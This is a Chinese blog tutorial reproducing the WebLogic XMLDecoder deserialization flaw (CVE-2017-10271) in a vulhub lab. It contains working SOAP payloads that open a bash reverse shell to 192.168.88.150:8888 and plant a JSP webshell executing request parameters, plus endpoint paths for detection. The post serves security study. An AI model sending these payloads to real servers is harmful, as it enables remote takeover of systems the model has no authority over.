WebLogic XMLDecoder反序列化漏洞

smileleooo發表於2024-06-10

目錄
  • 前言
  • XMLDecoder概述
  • XMLDecoder反序列化漏洞
  • 漏洞復現

前言

上篇復現了T3反序列化漏洞,XMLDecoder反序列化在WebLogic中也是一類影響很大的反序化漏洞。

XMLDecoder概述

XMLDecoder是JDK自帶的以SAX方式解析xml的類,實現java物件和xml檔案之間的轉化。其中序列化過程是將java物件轉換成xml檔案,反序列化就是把特定格式的xml檔案轉換成java物件。

XMLDecoder基於SAX解析,從頭到尾逐行逐個元素讀取內容,拿到節點、屬性、值之後透過Expression建立物件及呼叫方法。

XMLDecoder反序列化漏洞

我們可以先構造一個特殊的xml檔案,讓XMLDecoder去解析一下:

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0"><string>calc</string></void>
        </array>
        <void method="start"/>
    </object>
</java>

image

使用XMLDecoder去反序列化xml資料,可以看到資料中包含的命令會被執行,彈了個計算器。反序列化後的執行程式碼類似於new ProcessBuilder(cmd).start();這樣。


所以我們試著在ProcessBuilder的start方法打個斷點,大致看一下呼叫棧的流程(jdk1.8.0_221):

image

首先直接去到XMLDocumentFragmentScannerImpl類的scanDocument方法,其中會透過迴圈迭代的方式解析,解析邏輯在next方法裡面,next方法會逐行的去解析xml。

image

其具體的解析方式依賴於DocumentHandler類,在DocumentHandler建構函式中為不同的標籤定義了不同的handler,每個handler都以key-value的形式儲存,每個標籤可以透過節點名稱來獲取對應的handler。

image

其中會呼叫回撥方法進行相應事件處理,比如startElement和endElement會在每當遇到起始或終止標籤時呼叫。在startElement方法中首先解析java標籤,從構造方法中HashMap取出對應的值,然後設定Owner和Parent。

image

之後去解析下一個object標籤,拿到屬性之後透過addAttribute設定屬性。

image

其中呼叫了父類的addAttribute方法。

image

然後透過反射的方式生成了java.lang.ProcessBuilderClass物件。

image

賦值完之後跳出迴圈進入this.handler.startElement就這樣依次解析下面的標籤。解析完所有的開始標籤之後,進入到endElement開始解析閉合標籤。

image

然後呼叫ElementHandler類的getValueObject獲取標籤內的value值。

image

經過多次的handler的getValueObject呼叫,標籤都閉合之後,最終去呼叫ObjectElementhandler的getValueObject方法。

image

最終得到的var3的值為java.lang.ProcessBuilder,var4的值為start,再透過Expression的var5的getValue方法反射呼叫start觸發命令執行。

其實最後相當於最後拼接了這樣一個表示式:

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

水平有限這裡只是大概走了個流程,詳細過程可參考:https://www.cnblogs.com/LittleHann/p/17814641.html

總之,XMLDecoder導致漏洞的原因就是在於這些handler處理節點的時候,對外部輸入的XML指定節點型別資訊沒有做限制,同時在進行節點例項化的時候允許節點屬性由XML任意控制,最終再由Java反射特性實現了程式碼執行。


WebLogic XMLDecoder反序列化漏洞的原因在於,Weblogic的WLS Security元件對外提供webservice服務,其中就使用了XMLDecoder來解析使用者傳入的XML資料,在解析的過程中出現反序列化漏洞,最終導致可執行任意命令。

如果對WebLogic XMLDecoder反序列化更深入的瞭解的話,可以IDEA遠端除錯Weblogic,根據復現爆出的呼叫棧進行跟蹤除錯。

可參考這篇文章:https://shu1l.github.io/2021/02/09/weblogic-xmldecoder-fan-xu-lie-hua-lou-dong-xue-xi/#動態除錯

有關WebLogic的XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,差異主要在於出問題的包、黑名單過濾的標籤。

漏洞復現

這裡用vulhub靶場的CVE-2017-10271漏洞環境進行復現XMLDecoder反序列化漏洞遠端命令執行。

影響版本:Weblogic < 10.3.6

環境搭建:

cd ./vulhub/weblogic/CVE-2017-10271
docker compose up -d

訪問這些目錄手動檢測:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

瀏覽器訪問/wls-wsat/CoordinatorPortType路徑,出現下圖就說明大可能存在漏洞:

image

使用Burp攔截請求頁面,請求方法改為POST,新增如下header欄位,其中Content-Length為Payload的長度:

Content-Type: text/xml
Content-Length: 640

image

POST的Payload如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.88.150/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

簡單解釋一下Payload的構造原理:

開頭和末尾的幾個標籤主要是SOAP的協議規範,java標籤中的是惡意的XML資料。XMLDecoder物件包含一個rocessBuilder物件用來構建一個指定命令的程序,執行一個反彈shell的命令。

整個XML反序列化後相當於執行程式碼:

String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "bash -i >& /dev/tcp/192.168.88.150/8888 0>&1";
new ProcessBuilder(cmd).start();

監聽本機的8888埠收到shell:

image

POST如下Payload可以寫入webshell:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bbb.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream(); int a = -1; byte[] b = new byte[2048];  while((a=in.read(b))!=-1){ out.println(new String(b)); } %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope

執行命令:

image

從整個XMLDecoder反序列化漏洞的來看(CVE-2017-3506 -> CVE-2017-10271 -> CVE-2019-2725 -> CVE-2019-2729),漏洞原理都是相似,主要是針對黑名單修補丁的繞過。

補丁分析:https://xz.aliyun.com/t/8465?time__1311=n4%2BxuDgDBDyDnDfhYxlxGhb78PxrCQDj24rD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-7

參考文章:
https://www.cnblogs.com/LittleHann/p/17814641.html
https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
https://zhuanlan.zhihu.com/p/108754274


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章